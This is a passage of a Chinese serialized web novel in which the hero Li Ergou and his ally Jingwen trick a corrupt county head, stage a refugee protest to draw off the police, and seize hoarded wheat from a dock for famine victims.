不出意外,孙竹刚很快就喝得烂醉如泥,他的酒量是真差。 “不能喝还非喝这么多,”严婆惜笑得花枝乱颤,“真是拿他没办法。” 李二狗心想,我也是真拿你没有办法。 牛得水来到王正直办公室。 “牛局长,找我什么事?” “王县长,我有一个好消息,特来向您汇报。” “好消息?牛局长,这都什么时候了?灾民哀鸿遍野,我这焦头烂额的,你还什么好消息!” “王县长,您先别急,听我说完您就明白了。” “说吧,到底是什么事?” “您听说过省城的吴有德吗?” “吴有德?”作为省城下派的干部,王正直当然听说过吴有德,“他的大名还能没听过吗?怎么了?” “王县长,您也知道,现在全省到处都在闹灾荒,周边几个省又在打仗,小麦的价格都要涨到天上去了,就是这样,想买小麦还是非常困难,尤其是大量购买。” “你到底想说什么?” “王县长,我得到可靠消息,吴有德正在高价收购小麦,价格比市场价高出三成,而且是大量收购。” 王正直心动了,他正愁着怎么把五十万斤小麦快速变现,这么多小麦堆在仓库里,就像一颗定时炸弹,一天不卖出去他一天不能安心。 可这么多小麦要想短时间内卖掉,实在不是一件容易的事,没想到机会这么快就来了。 “消息可靠吗?” “绝对可靠,我来您这里之前,专门给省城吴有德的贸易行发过电报,他们回复千真万确。” 王正直上过大学,读过多年圣贤书,他做事一向稳重,这次当然也不能例外。 只给贸易行打过电报,并不能使他安心。 “牛局长,你的这个消息非常重要,等事成之后,我一定不会亏待你,不过此事关系重大,我得亲自确认一下才放心,这两天你一定要派人看好仓库,千万不能出事,明白吗?” “王县长,属下明白,您放心好了。” 牛得水走后,王正直来到机要室,通过电台给省政府机要室一个相熟的朋友发了一封电报。 此人是王正直在省政府工作时的好朋友,他收到电报后立马给吴公馆打了电话。 吴有德亲自接听的电话,他亲口承认自己的贸易行正在高价收购小麦,并答应马上派人去江东,洽谈购买事宜。 当王正直收到电报时,开心得一晚上都没睡着。 五十万斤小麦一出手,他可以吃喝嫖赌几辈子! 第213章 静雯来到江东 一辆斯蒂庞克牌小轿车停靠在江东县政府大门口,静雯穿着一身绣着荷花的淡绿色旗袍从车里走下来,王正直看得眼珠子差点掉在地上。 静雯,曾经的百乐门大舞厅头牌舞女,王正直是见过几次的。 那时候他还只是省政府的一个小人物,每月的薪俸少得可怜,对于静雯,他只能远观而不敢亵玩焉。 没想到现在的静雯,出落的更加清新脱俗,更加美丽干练,他实在没有想到吴有德派到江东洽谈合作事宜的竟会是她。 如果没猜错,她肯定是吴有德的小情人。 想到这,王正直一脸猥琐,仿佛已经嗅到晚上一亲芳泽的好机会。 “哎吆,静雯小姐,大驾光临,王某有失远迎,恕罪恕罪。” 静雯没想到王正直竟然认识自己,但从他猥琐的眼神里也猜到了是怎么回事。 她微微一笑,主动向王正直伸出纤纤玉手,王正直赶紧上前握住。 “王县长客气了,吴爷派我来向王县长汇报一下收购小麦的事,还请王县长多多关照。” “这个好说,好说,我已备好薄酒,还请静雯小姐赏光。” “嘻嘻,那就恭敬不如从命了,谢谢王县长的美意。” “哪里,哪里,静雯小姐里面请。” 两人来到县政府小招待所,这里是王正直专门招待尊贵客人的地方。 因为洽谈的是收购小麦事宜,王正直并不想让更多的人知道,就连牛得水都没让过来。 “也不知道静雯小姐喜欢吃什么,就简单准备了一些我们江东的地方特色,静雯小姐可千万不要嫌弃才好。” 静雯看着桌上摆满的海参、鲍鱼、鱼翅、龙虾…… 这么一桌海鲜大餐,王正直却说是随便准备的江东地方特色,真是睁着眼说瞎话。 “王县长,您太客气了,这么丰盛的海鲜大餐,就咱们两个人吃,实在是有些暴殄天物啊。” “静雯小姐喜欢就好,我们江东是小地方,比不得省城,等我回到省城一定请静雯小姐吃西餐。” “奥,王县长也是省城人吗?” 王正直笑得眼睛眯成一条线,就像一尊弥勒佛。 “鄙人在来江东县任职之前,一直在省政府工作。” “失敬失敬,以后还请王县长多多关照啊。” “好说,好说。” 王正直眼珠子滴溜溜盯着静雯,一脸猥琐。 他挥挥手让服务员出去,自己亲自给静雯斟满了一杯酒。 “王县长,怎敢劳您大驾,我不会喝酒。” “能为静雯小姐倒酒是我的荣幸,今天咱们不多喝,每人就一杯,静雯小姐远道而来,我可不敢怠慢啊。” 静雯莞尔一笑,只好说道:“那就谢谢王县长了。” 王正直倒完酒,端起酒杯,兴奋之情溢于言表。 “静雯小姐,再次欢迎你到我们江东检查指导工作,有招待不周的地方还请你多多海涵,我敬你一杯。” 静雯端起酒杯,嫣然一笑。 “谢谢王县长的盛情款待,您是一县之长,能亲自接待我,我真是受宠若惊了。” 两人碰了一下杯,静雯轻轻抿了一口。 “静雯小姐,这次吴爷能安排你来江东,足见他对咱们这次合作的重视,哎,江东县目前灾情严重,我悲痛的几乎吃不下饭,三万多张嘴嗷嗷待哺,我也只能把这些小麦卖掉,再买回一些便宜的杂粮和粗粮,希望江东百姓可以度过今年这个冬天。” 王正直说着眼泪就流了下来。 “让静雯小姐见笑了!” 静雯也是一脸悲伤:“王县长这份拳拳为民之心,着实令我佩服,吴爷这次派我到江东,就是为了尽快促成此事。” 王正直擦干眼泪,问道:“不知道吴爷还有没有其他要求?” 静雯说道:“我来之前,吴爷特意交代过,这次灾情江东受灾最严重,王县长为了江东百姓奔走呼叫,着实令我们感动,所以这次王县长说多少就是多少,我们绝不还价。” 王正直没想到吴有德做事如此敞亮,人家敬咱一尺咱就得敬人家一丈。 “静雯小姐,吴爷不愧是省城商业名家,是令人尊敬的前辈,就按你们说的价格,我绝不讲价,你看这样可以吗?” “和王县长合作,真是令人痛快,王县长将来前途一定不可限量,来,小妹再敬您一杯,以后还请王县长多多关照。” “静雯小姐实在是太客气了,以后有用得着我王某人的地方,尽管开口,我一定竭尽所能为静雯小姐服务。” “王县长,你我一见如故,就叫我静雯吧,当然,您若不嫌弃,也可以叫我妹妹。” “静雯妹妹,我真是诚惶诚恐、荣幸之至啊,你就叫我大哥吧。” “您是县长,我都求之不得,哪里会嫌弃?大哥,小妹这厢有礼了。” “好好好,我们再喝一杯。” 连干三杯之后,王正直已经有些酒意。 “大哥,有件事还得和您商量一下,这五十万斤小麦不是少数,我建议咱们还是走水路,这样可以直接运到吴爷在省城的码头。” “我也正有此意,现在到处都是灾民,走陆路确实不安全,还是走水路放心一些。” “吴爷已经安排好了两艘货船,明天下午就能到达江东码头,还得请大哥多费费心,把小麦尽快运到江东码头。” 江东码头离县城有五公里的距离,用大卡车把五十万斤的小麦运过去,至少也需要一天的时间。 “小妹放心,明天一早我就安排,不会耽误下午装船。” “大哥,我来的路上,看到到处都是灾民,这么多粮食堆在码头不会有什么危险吧?” “哈哈,这个小妹大可放心,在江东县的地面上,还没有人吃了熊心豹子胆敢打县政府粮食的主意。” “有大哥在,我就放心了。” “哈哈,来,咱们兄妹再喝一杯。” 王正直本想让静雯多喝几杯,然后趁机占点便宜,但静雯常年混迹于百乐门大舞厅,酒量一斤白酒打底,她还没觉得酒劲,王正直已经喝成了大舌头。 第214章 大哥净会哄人 “妹子,你听……大哥说,大哥……以前在省城的时候……见过你,你那时候……就像天仙一样,大哥好喜欢你啊……” 静雯鄙夷地看着醉眼朦胧的王正直,忍着恶心说道:“大哥只要不嫌弃小妹,以后咱们有得是交流的机会。” “妹子,你看这漫漫长夜,不如我们去我房间喝茶聊天吧?” “大哥,今晚小妹喝多了,咱们还是改日吧,您早点回去休息。” “我没喝醉!谁说我……喝醉了……” 王正直踉踉跄跄站起来,一个不稳摔倒在地上。 静雯没有去扶他,而是打开房门把一个服务员叫了进来。 “王县长喝多了,你快扶他回房间休息吧。” 王正直躺在地上,一直嚷着自己没喝多。 服务员把他从地上扶起来,他嘴里还一直喊着静雯的名字。 静雯为了安全起见,晚上就住在县政府招待所。 第二天一大早,就有人来敲房门。 静雯没开门就已经猜到是谁。 打开门,果然是王正直。 “大哥,早上好。”静雯主动和他打招呼。 “静雯妹子,昨晚我喝断片了,都不知道怎么回得房间,让你见笑了。” 静雯莞尔一笑,说道:“大哥是性情中人,倒是很对我的脾气。” “那就好,那就好,昨晚睡得还习惯吗?” “挺好的,还得谢谢大哥的周到安排。” 王正直站在门口,静雯丝毫没有让他进屋的意思。 “那你洗漱一下,我等你吃早饭,在一楼餐厅。” “好,谢谢大哥。” 静雯关上房门,王正直揉了揉有些发胀的太阳穴,暗自埋怨道:“哎,喝酒真是误事,这么好的机会都没抓住,王正直啊王正直,你真是一头猪。” 很快,静雯就来到一楼餐厅。 她特意换了一身鹅黄色紧身绣花旗袍,凸凹有致的身材一览无余。 王正直喉咙滚动,狂咽口水。 他亲自给静雯盛了一碗海鲜疙瘩汤。 “妹子,喝点汤醒醒酒,昨晚我们都喝得太多了。” 静雯娇嗔道:“大哥还说呢,昨晚喝了那么多,我头疼了一晚上。” “怪我,怪我,今天晚上一定好好给妹子赔罪。” “嘻嘻,大哥净会哄人,我才不会相信呢。” 王正直被静雯几句撩拨,心都酥了。 “妹子就等着看大哥的表现吧。” “那小妹就拭目以待喽。” 静雯一个媚眼,让王正直的心跳到了嗓子眼。 “大哥,运粮的事都安排好了吗?” “放心吧,都已经安排好了,我调集了十几辆大卡车,现在他们正在后面仓库装车。” “大哥办事可真是让人放心。” 王正直被夸得心花怒放。 “这算什么?如果不是县里保安团被汤司令抽调去打仗,我一次能调集几十辆卡车。” “大哥太威武了,这样我就放心了。大哥,不知道江东县有没有什么好玩的地方?” 王正直心领神会,说道:“江东是千年古县,辖区里风景名胜众多,等吃完了早饭我带你去转转。” “怎么好麻烦大哥亲自陪同呢?我自己去转转就好。” “那怎么行?我怎么也得尽地主之谊不是?现在难民很多,妹子一个人去,我可不放心!” “那就多谢大哥了,嘻嘻。” 吃过早饭之后,王正直带着静雯,去了江东县香火最旺盛的巨佛寺,牛得水亲自带领一队警察跟随保护。 不知为什么,路上难民竟然比平常少了许多,这让王正直脸上倍有面子。 两人一直游玩到午后,才意兴阑珊地回到县政府。 吃过午饭之后,王正直和静雯一同来到江东县码头,码头上堆满了一麻袋一麻袋的小麦,周围有大批荷枪实弹的警察在警戒。 “大哥做事果然谨慎啊,这么多警察,恐怕连一只麻雀也飞不进来吧?” “哈哈,小心驶得万年船,特殊时期,不得不防啊。” 王正直看了看远方,江面上,并没有驶来的大型货船。 “妹子,货船什么时候到啊?粮食已经运得差不多了,随时可以装船。” 静雯看了看腕上精致的瑞士浪琴手表,说道:“按照约定的时间,这个点应该到了,我们再等等吧,应该快了。” “好,不着急,我们先去办公室喝会茶。” 一直等到夜幕降临,货船始终没有到达码头。 静雯心急如焚,王正直倒是显得很淡定,货船晚到,他便可以和静雯多待一些时日。 都说日久生情,他需要的就是时间。 “大哥,货船在路上肯定是遇到什么事了,咱们还是回去发个电报问问吧?” “也好,我看也到了晚饭时间,咱们回县政府等,妹子不要着急,现在是特殊时期,水路上也不太平。” 临走之前,王正直把牛得水叫到跟前,语气严厉地嘱咐道:“牛局长,现在是特殊时期,务必要保证码头粮食的安全,任何人不许擅自进入,违令者格杀勿论,明白吗?” “属下明白,请王县长放心!” 两人乘车返回了县城。 汽车到达城门口时,大批的难民正在涌入县城。 王正直把大批警察调到码头保护粮食,临时接替保安团守卫城门的警察更是捉襟见肘,他们根本挡不住大批难民的冲击。 “他妈的!”王正直发了火,“你下去看看怎么回事?” 秘书张海龙赶紧下车去问情况,很快又跑了回来。 “报告县长,有很多难民非要到县城里面去乞讨,警察挡不住。” 王正直想在静雯面前表现自己的权威,他大声痛骂道:“他牛得水是干什么吃的?一个城门都守不住!老子要撤他的职!” 张海龙也不知道如何回答,警察都被抽去了码头,偌大的城门只留下两个警察看守,面对成百上千的难民,他们如何守得住? “县长,我刚才已经问过了,冲进城内的难民并不多,现在已经完全控制了局势。” “你去告诉他们,再敢放一个难民进城,让他们立马脱下警服滚蛋!” “是,县长。” 静雯一副小迷妹的表情。 “大哥,您好威武啊,小妹佩服。” 第215章 让王正直滚出来 王正直通过县政府的电台直接给省政府机要室的一个朋友发了一封电报,让他马上给吴公馆打电话,核实货船情况。 很快就收到回复,货船已经按计划出发,至于为什么没有按时到岗,吴有德也不知道原因。 “大哥,货船没有按时到达,路上不会出什么事吧?” “应该不会,空船还能出什么事?妹子你就安心再住一晚,有大哥在,不用担心。” “那一切就拜托大哥了。” “走,我们去喝酒。” 静雯使出浑身解数,把王正直喝得晕晕乎乎、迷迷糊糊。 “我们要吃饭!” “我们要吃饭!” 外边突然响起了震耳欲聋的喧嚣声。 静雯有些担心地问道:“大哥,外边怎么这么吵?不会是出什么事了吧?” 王正直自信地笑道:“哈哈,妹子,你不要这么紧张,这里是县政府,怎么可能出事?万事有大哥在,你就放宽心吧。” “让王正直出来!” “让王正直出来!” 外边的喊声越来越大。 “大哥,你听,他们好像在喊你的名字。” 王正直皱着眉头,大声喊道:“来人呐。” 门外一个服务员听到后赶紧推门进来。 “王县长,您有什么吩咐?” “马上去问问外边是怎么回事?这么吵,影响了静雯小姐吃饭的雅兴,我拿你们是问。” “好的,王县长,我马上去问。” 服务员刚出门就和跑进来的张海龙撞了个满怀。 “什么事,如此慌慌张张?静雯小姐还在这里呢,成何体统!” 张海龙从地上爬起来,满头大汗,说道:“王县长,不好了,出大事了!” “我告诉你多少次,每临大事有静气,你慌什么?天还没塌下来嘛!” 张海龙深吸一口气,说道:“县长,县政府大门口有大批难民,嚷着叫您出去。” “大胆刁民,”王正直拍案而起,“他们把县政府当成什么了?敢来这里捣乱,简直是活得不耐烦了,你赶紧让警察把他们赶走!” “县长,难民太多了,黑压压一大片,足有几百人,他们把县政府围得水泄不通,两个站岗的警察都被他们打了!” 听到有几百难民,王正直不免大吃一惊,但在静雯面前,他不想失态。 “这些警察是干什么吃的?连几个难民都收拾不了?干不了让他们回家抱孩子去!” “县长,难民太多,县政府只有四名警察,实在是太少了,根本控制不住局势啊。” “让王正直滚出来!” “让王正直滚出来!” …… 声音越来越大也越来越近,难民已经冲到楼下。 静雯吓得眼泪汪汪,对王正直撒娇道:“大哥,怎么办啊?他们不会冲上楼吧?我好怕啊。” “妹子不要怕,大哥在这里呢,”王正直趁机摸着静雯的手,然后他看向张海龙,命令道:“他娘的!这群刁民简直是反了!你马上给牛得水打电话,让他马上从码头调五十人回来,一定不能让这群刁民冲进来。” 张海龙犹豫道:“县长,从码头抽调五十人回来,码头那边会不会有危险?” 王正直一犹豫,静雯立马撒娇道:“大哥,人家好怕啊。” “能有什么危险?让他们留下十个人,其他的都给我回来,处理完这边的事再回去,不会有事的,快去!” 张海龙只能领命而去。 王正直不停地抚摸着静雯的手背,安慰道:“妹子不要怕,大哥在这呢。” “还好有大哥,不然人家都吓死了。” “不怕不怕,大哥保护你。” 码头离县政府只有五公里的距离,牛得水带着大批警察,半个小时就赶到了县政府。 “让王正直滚出来!” “我们要吃饭!” “让王正直滚出来!” “我们要吃饭!” 大批的难民已经冲进县政府大院,他们高呼着口号,把办公楼完全包围起来。 牛得水站在人群外边,大声驱离着难民,可这群难民仿佛被施了魔咒一般,根本不害怕警察。 他想带着几个警察穿过人群进入办公楼,可根本挤不进去。 一个警察凑过来,问道:“局长,我们怎么办?” 牛得水哭丧着一张脸,没好气地说道:“我知道怎么办?!” “局长,我觉得有些奇怪,你看这群难民,他们只是高呼口号,可都到办公楼下面却不冲进楼里,他们表现的也太冷静了吧?” 牛得水一想也对,一群饥寒交迫的难民,都已经冲进院里,为何会止步于办公楼前呢? 他们确实太冷静了! 牛得水想了想,说道:“你小子懂什么?他们是怕咱们手里的枪!他们真敢冲进办公楼,咱们手里的枪难道是烧火棍吗?” 经过牛得水一番解释,这个警察完全心悦诚服。 “牛局长,您真牛!” “你小子少拍马屁,告诉弟兄们做好准备,一旦有人冲进办公楼,立马开枪!” “是!” 牛得水安排好一切,费了九牛二虎之力才穿过人群来到办公楼下面。 四个警察正手拉着手拦住汹涌的人群,难民们口号喊得震天响,就是不上前一步。 “牛局长,您终于来了。” 一个警察眼含热泪,仿佛看到了救星一般。 “你们辛苦了!到时候我给你们请功,一定不要让他们冲进大楼,明白吗?” “明白!他们要想冲进大楼,除非在我们身体上踏过去!” “好样的!不愧是我牛得水的手下。你们放心,我带来很多人,他们正在外围警戒,一旦有情况,他们会第一时间冲过来。我先上楼,你们一定要拦住他们!” 牛得水闪身上了楼。 张海龙看到牛得水,激动地握住他的手,说道:“牛局长,你可算来了,王县长正在上面发火呢。” 牛得水心想,这个王正直,胆子未免小了些,几个难民就吓成这副样子,多读书有个屁用,关键时刻还得靠腰里的硬家伙。 “张秘书,你快带我去见王县长。” 张海龙带着牛得水来到二楼包厢,王正直听到敲门声,才恋恋不舍地松开握着静雯的手。 第216章 李二狗智取小麦 “进来!” 牛得水推门而进,给王正直敬了一个标准的军礼。 “王县长,卑职已带人奉命赶到,请您指示。” “牛局长,你带来多少人?” “报告县长,除了按照您的命令留在码头的十人之外,其余人已全部带到,一共八十三人。” “好,你现在马上去把这些刁民赶走!若是有一个刁民冲进楼里,我拿你是问。” “请县长放心,卑职一定不会放一个刁民进来。” “很好,你去办吧,不过要注意,不到万不得已千万不要开枪,以免上边追究我们的责任,你懂我的意思吧?” “卑职明白!” 牛得水来到楼下,难民们正在陈老三的带领下继续高喊口号。 “让王正直滚出来!” “我们要吃饭!” “让王正直滚出来!” “我们要吃饭!” …… “大家静一静,听我说,大家静一静,听我说……” 牛得水的声音完全淹没在难民们的口号中…… 与此同时,几千名难民已经聚集到码头附近的河神庙。 自从静雯来到江东县之后,李二狗就安排宋孬蛋带领清风寨的弟兄们在江东各地传播消息。 十五号晚上九点钟,有人在江东码头东边二公里处的河神庙发放粮食。 同时还警告他们,说粮食有限,一定不要轻易告诉别人,否则就不够分了。 宋孬蛋看着越聚越多的难民,内心有一种抑制不住的冲动。 “到底什么时候发粮食啊?” “粮食在哪啊?” “快点发粮食吧!” …… 宋孬蛋蒙着面站在河神庙门前的一个高台上,面对汹涌的人群,他大声喊道:“大家静一静,听我说!” 他连喊了七八声,人群才渐渐安静下来。 “大家不要着急,听我说,再过一会,江东码头会燃放一个绚烂的烟花,那时候我们就去江东码头领粮食,大家都听清楚了没有?” “听清楚了!” 大家停止喧嚣,静静等待绚烂的烟花升起。 李二狗带领陈嘎子、张石头和几十个清风寨的兄弟正埋伏在码头周围。 他看了看手表,时针已经指向九点。 他低声喝道:“大家准备,一会跟我冲进去。” 黑暗中,有两个黑影悄悄摸到码头门口正在打瞌睡的两个警察身后,“咔喳”一声,扭断了他们的脖子。 他冲着李二狗一招手,李二狗立即带领着兄弟们冲进了码头。 陈嘎子按照事先得到的情报,带领几个人冲进宿舍,大喊一声:“全都不许动!” 没放一枪一弹,十个警察就被轻松解决了。 “石头,你去放烟火。” “嘎子,让兄弟们赶紧把船开过来,装五百袋小麦,我另有安排。” “嘭”的一声巨响,烟花腾空而起,在天空中绽开五颜六色烟花,有的像流星徘徊在夜空,有的像万寿菊欣然怒放,还有的像仙女散花。 宋孬蛋大吼一声:“大家快去码头领粮食啊!” 汹涌的人群争前恐后地向码头奔去。 半个小时后,码头的粮食已被搬空。 李二狗站在夜空下,看着灯火通明的码头,感慨道:“孬蛋,希望我们今天做的事情能被子孙后代记着。” 宋孬蛋笑道:“狗哥,我们必将活在他们心中。” “你小子,撤!” 县政府大院内。 陈老三偷偷看了一眼手表,回头大声喊道:“大家都散了吧,别吓着县长大人!” 在牛得水惊讶的眼神中,人群很快就消失得无影无踪。 陈老三带着这群难民直奔仙人洞镇码头,宋孬蛋正在那里等着给他们发放粮食。 牛得水跑到楼前,王正直还在安慰静雯。 “报告县长,在我苦口婆心地劝导下,难民已经散去,请您指示。” “牛局长,你做得非常好,你这一功我先给你记下了。” “多谢王县长栽培,卑职定当竭尽全力,报答您的厚爱。” “好,你还得再辛苦辛苦,马上带人赶回码头,一定要确保粮食的安全。” “卑职明白!” 牛得水走后,王正直笑意盈盈地看着静雯,说道:“妹子,这回你可以彻底安心了吧?来,我们再喝一杯。” “大哥真的好威武,人家好佩服,我敬大哥一杯。” 王正直豪气冲天地说道:“好,妹子,来,干了!” 望着静雯娇红的脸颊,王正直心痒难耐。 “妹子,咱们喝得差不多了,我看还是回我房间喝点茶醒醒酒吧?” 静雯娇声娇气地说道:“大哥真的好坏,总想占人家便宜。” “嘿嘿,怎么会呢?妹子可不要想歪了,就是单纯地喝茶,我想和妹子深入地交流交流。” “哐”的一声,门被撞开了,张海龙木头桩子似的站在门口,脸上的表情仿佛他亲爹刚刚咽气。 “张海龙,你狗日的慌里慌张做什么?吓着静雯小姐我一枪毙了你!” 张海龙几乎带着哭腔说道:“县长!码头出事了!” 王正直立马冲到张海龙身前,揪住他的衣领,大声喝问道:“什么?你说什么?码头出什么事了?” “码头上的粮食已经被人抢劫一空!” “什么!” 王正直一把将张海龙推倒在地,他脚下一个趔趄,静雯眼疾手快上前扶住他。 “大哥,你快点拿个主意啊!” “备车,马上去码头!” 张海龙从地上爬起来,赶紧去叫醒司机把车开到楼前。 王正直在静雯的搀扶下钻进汽车,直奔码头。 “王县长,您总算来了,您看……” 王正直看着被抢劫一空的码头,“啪”的一声,给了牛得水一个耳光。 “你他娘的是怎么看守的?整整五十万斤粮食竟然消失得无影无踪?” 牛得水委屈极了,他极力辩解道:“王县长,卑职可是奉了您的命令,才带人回的县政府。” “啪!” 王正直又给了牛得水一记耳光。 “你的意思是我的错?我不是让你留下十个人吗?怎么会悄无声息地被抢了还不知情?” 被俘虏的警察知道自己犯了不可饶恕的罪过,被李二狗放了之后,他们第一时间就逃之夭夭了。 “留下的那些人不知道什么原因都不见了,也许是被人扔进江里了。” “给我查!一定要查出幕后指使之人,老子要将他们碎尸万段!” 第217章 自投罗网 “大哥,出了这么大的事情,我得连夜赶回省城向吴爷汇报这里的情况。” 小麦并未装上船,一切损失只能由王正直承担,他欲哭无泪。 “妹子,我知道这个要求可能有点让你为难,但看在咱兄妹感情的份上,你能不能回去给吴爷多美言几句,赔偿一点我们的损失,这些小麦毕竟是在送货的路上出的事。” 静雯立马保证道:“大哥请放心,我回去一定尽全力为你争取。” “患难见真情呐!妹子。” 这时,静雯带来的司机开着车来到江东码头。 “大哥,事不宜迟,我现在就回省城,你多保重,咱们后会有期。” 静雯说完便钻进汽车,汽车疾驰而去。 王正直看着夜色中渐渐消失的汽车尾灯,总感觉哪里有些不对劲。 静雯的车在一处山坡下停了下来,李二狗弯腰钻进车厢。 两人旁若无人地一顿互啃,要不是司机在场,一场车震在所难免。 “二狗,你刚才没看见,王正直的脸都气绿了,真是太解气了。” “静雯,这次你立了大功,我代表江东的父老乡亲感谢你。” 静雯娇羞一笑,问道:“那你想怎么感谢我?” 李二狗还未说话,司机抢先说道:“静雯小姐,我肚子突然有点不舒服,想下车去方便一下。” 静雯说道:“去吧。” “还得麻烦静雯小姐多等我一会,我这一时半会可回不来。” “快去吧,待会儿我叫你。” 司机下了车,一头钻进旁边的小树林。 静雯挑衅地说道:“说吧,你想怎么感谢我?” 李二狗嘿嘿一笑。 “比起在车里,其实我更喜欢以天为盖地为庐的野外体验。” “你……讨厌死了!” 两人不知忙活了多久,天已蒙蒙亮,东方天际露出鱼肚白。 渐渐地,鱼肚白变成淡红色,像人喝了酒,脸上呈现出一抹红晕。 “静雯,对我的感谢满意吗?” “讨厌!” 静雯一脸红晕,像极了天边的云彩。 “我去看看司机怎么还不回来。” 李二狗下了车,来到小树林,司机正靠在一棵大树下睡得香甜。 李二狗婉拒了静雯的盛情相邀,他在江东还有重要的事情要做。 静雯走后,李二狗回到胡家大院。 “李管家,您可回来了。” 张二驴一张脸拉的老长。 李二狗玩笑道:“怎么了,二驴?谁家欠你钱了?拉着一张驴脸。” “李管家,您还有心思开玩笑,我都快急死了!一大早县政府就派人来通知,让您今天下午三点去县政府开会。” 王正直把全县的地主豪绅关在会议室里敲竹杠的行为早已传遍整个江东,张二驴知道去县政府开会意味着什么。 “这个王正直还真是狗急跳墙,敲竹杠也不知道换个方法,当大家都是傻子吗?” “是啊,大家吃一堑长一智,谁还敢去?” 李二狗知道大家都不敢去,可不去就能躲得过去吗? 就像孙竹刚说的,王正直有一万种方法治你。 “二驴,这事你怎么看?” “不能去!坚决不能去!去了可就出不来了。” “躲得过初一,躲得过十五吗?政府要想收拾你,你怎么躲得掉?” “那怎么办?” 李二狗心想,现在整个江东哀鸿遍野,除了各大地主大院,几乎都没有存粮。 想办法让这些地主大院拿出存粮救济灾民是当务之急。 除了县政府,其他人根本没有这个能力可以逼迫他们拿出存粮,这些人把自家存粮都藏在各个隐蔽的地方,不知内情的人根本无法得知藏粮之处。 “我去县政府开会。” 张二驴急忙劝道:“李管家,这个时候去县政府开会无异于自投罗网啊,您一定要三思啊。” “二驴,你想想,别人都不去,只有咱们去了,他王正直还敢把咱关起来吗?那样的话其他人更不敢去了!既然早晚躲不过,早去还能争取主动。” 张二驴还是有些担心,但李二狗决定的事,他只能服从。 “李管家,我看还是找几个壮实的家丁陪您一起去吧?” “二驴,我是去县政府,你就是带再多的家丁有什么用?我还是一个人去。” 张二驴愈发佩服李二狗的胆识,怪不得人家能在短时间内做到管家这个位置上,自己需要学习的东西还很多啊。 “李管家,您放心,如果您第二天不回来,我就带领大家去县政府门口静坐,我就不信他们能一手遮天。” “二驴,现在是非常时期,你在家一定要看好门户,你放心,我料定王正直不会把我怎么样。” 李二狗看时间尚早,便去于兰芝那里逗弄了一会梦瑶,女儿对着他一笑,所有的烦恼都没有了。 吃过午饭,李二狗骑着马直奔县城。 和事先料想的一样,偌大的会议室里只来了李二狗一人。 王正直气得脸都绿了,他抓起桌上的茶杯,狠狠地砸到门上,痛骂道:“这些人真是给脸不要脸,看老子怎么收拾他们!” 李二狗劝道:“王县长,何必与他们置气呢?千万不要气坏了您自己的身体,江东三万多百姓还等着您救济呢。” “李管家,放眼整个江东县,觉悟最高的还是你,我看你别在胡家大院当什么狗屁管家了,干脆来县政府,我让你当江东县民政科科长怎么样?” 李二狗立即表现出一副受宠若惊的样子。 “我说今天出门怎么听见喜鹊在头上叫呢,原来是有王县长您这位贵人要提携我啊,我李二狗何德何能,能得到县长您的垂青,实在是诚惶诚恐,我自知能力有限,恐担不起这个重任。” “李管家,你就不要谦虚了,像你这样的人才就应该放在更高的位置上才能发挥更大的作用。” 李二狗说道:“王县长,感谢您的厚爱,但我李二狗出身低微,又没读过几年书,实在担不起如此重任,要是耽误了您的大事,我可负不起这个责任。” 王正直对李二狗的态度感到有些奇怪。 在江东县,要想当科长,至少得送五百块大洋,可自己白送李二狗一个科长,他却拒绝了,实在是令人匪夷所思。 第218章 非同小可 要说李二狗不想当官,那肯定是假话。谁不想混个一官半职,光耀门楣? 但李二狗深信天下没有无缘无故的爱。 王正直这时候提出让李二狗当民政科科长,用意很明显,就是让他负责捐粮、筹粮、赈灾,王正直想找一个替罪羊。 李二狗还没傻到别人扔给他一个肉包子他就屁颠屁颠去捡的程度。 “李管家,你可要想清楚啊,当了科长,以后你在江东县就是有头有脸的人物,他胡士高见到你都得点头哈腰,背后的好处更是多到数不清。” “再次感谢王县长的厚爱,可我知道自己能吃几碗干饭,我实在没有能力干好这个科长,王县长还是另选贤能吧。” 王正直一脸失望,他没想到李二狗这么不识抬举。 “李管家,既然你不愿意,那我也就不勉强了,咱们进入今天会议的正题吧。目前江东县灾情严重,社会各界捐赠的粮食根本缓解不了目前的灾情,你们胡家大院还得慷慨解囊,救百姓于水火啊。” 李二狗紧咬嘴唇,一副悲痛的表情。 “王县长这份爱民如子的心实在令我感动,可您也知道,上次我们胡家大院已经捐了十五万斤小麦,那几乎是我们的全部存粮,我听说其他大院只捐赠了三万到五万斤不等的粮食,王县长,您还得多动员动员他们才是。” 王正直冷哼一声,说道:“那些人以为今天不来开会就能逃避自己应尽的社会责任,他们这是白日做梦。” “那王县长可想到合情合理又合法的办法没有?” 王正直一怔,心想,难道这个李二狗有什么好办法不成? “李管家,这里只有咱们两个人,有什么话不妨直说,事成之后我绝对不会亏待你。” 李二狗深吸一口气,仿佛下了很大的决心一般,说道:“王县长,有句话我不知当讲不当讲?” “但说无妨!” “我要说出来,县长您可别生气。” “我不生气,你快说。” “我如果说得不对,县长可以当我没说。” “李管家,我保证不生气,你就快说吧。” “县长,上次全县捐赠的粮食,并没有拿出来赈济灾民,”李二狗观察着王正直的表情,他脸上没有任何变化,“我知道上次情况特殊,汤司令额外摊派了军粮的任务。但这次筹集的粮食,我建议一定要拿出一部分来赈济灾民,否则很容易引起民变,王县长以为如何?” 王正直一脸正气,先对李二狗竖了一个大拇指,说道:“李管家所言极是,上次因为迫不得已,把你们捐赠的粮食全部上交给汤司令,我保证,这次再捐赠的粮食一定全部拿出来赈济灾民。” “王县长,江东百姓有您这样的父母官,真是他们八辈子修好的福气,我代表他们感谢您。” “李管家,这些客套的话就先别说了,你先说你的办法。” 李二狗便把自己的办法告诉了王正直,王正直听后直夸妙! “李管家,此事非同小可,一定不能泄露了消息,我让牛局长全力配合你。” 李二狗说道:“县长,这件事一定要找自己信得过的人去做,牛局长身负维护全县治安的重任,我担心他抽不出身来。” 王正直对牛得水最近的表现非常不满意,作为前任县长任命的警察局局长,他早有了更换之心。 “李管家有什么建议?” “警察局孙竹刚队长为人正直,作风正派,勇于负责,敢于担当,我建议这次行动让他带队参加,不知县长意下如何?” “李管家推荐的人肯定没有问题,那就让孙竹刚带队配合你。” “县长,还有一个问题,如果您越过牛局长直接安排孙队长,恐怕会引起牛局长的不满,孙队长不是局领导,我担心他会有所顾忌,不敢担此重任啊。” “这个好办,我让牛得水安排他。” “县长,您亲自安排牛局长,万一以后出点什么事,这个责任谁来负?我听说牛局长这个人很擅长推卸责任。” 王正直知道李二狗心中早已有了主意,便说道:“那就说出你的建议吧。” “王县长,我建议您直接把孙竹刚提拔为警察局副局长,这样您再直接安排他工作就显得合情合理了。” “好,我马上命人去安排。”他冲着门外喊道,“张秘书,你进来一下。” 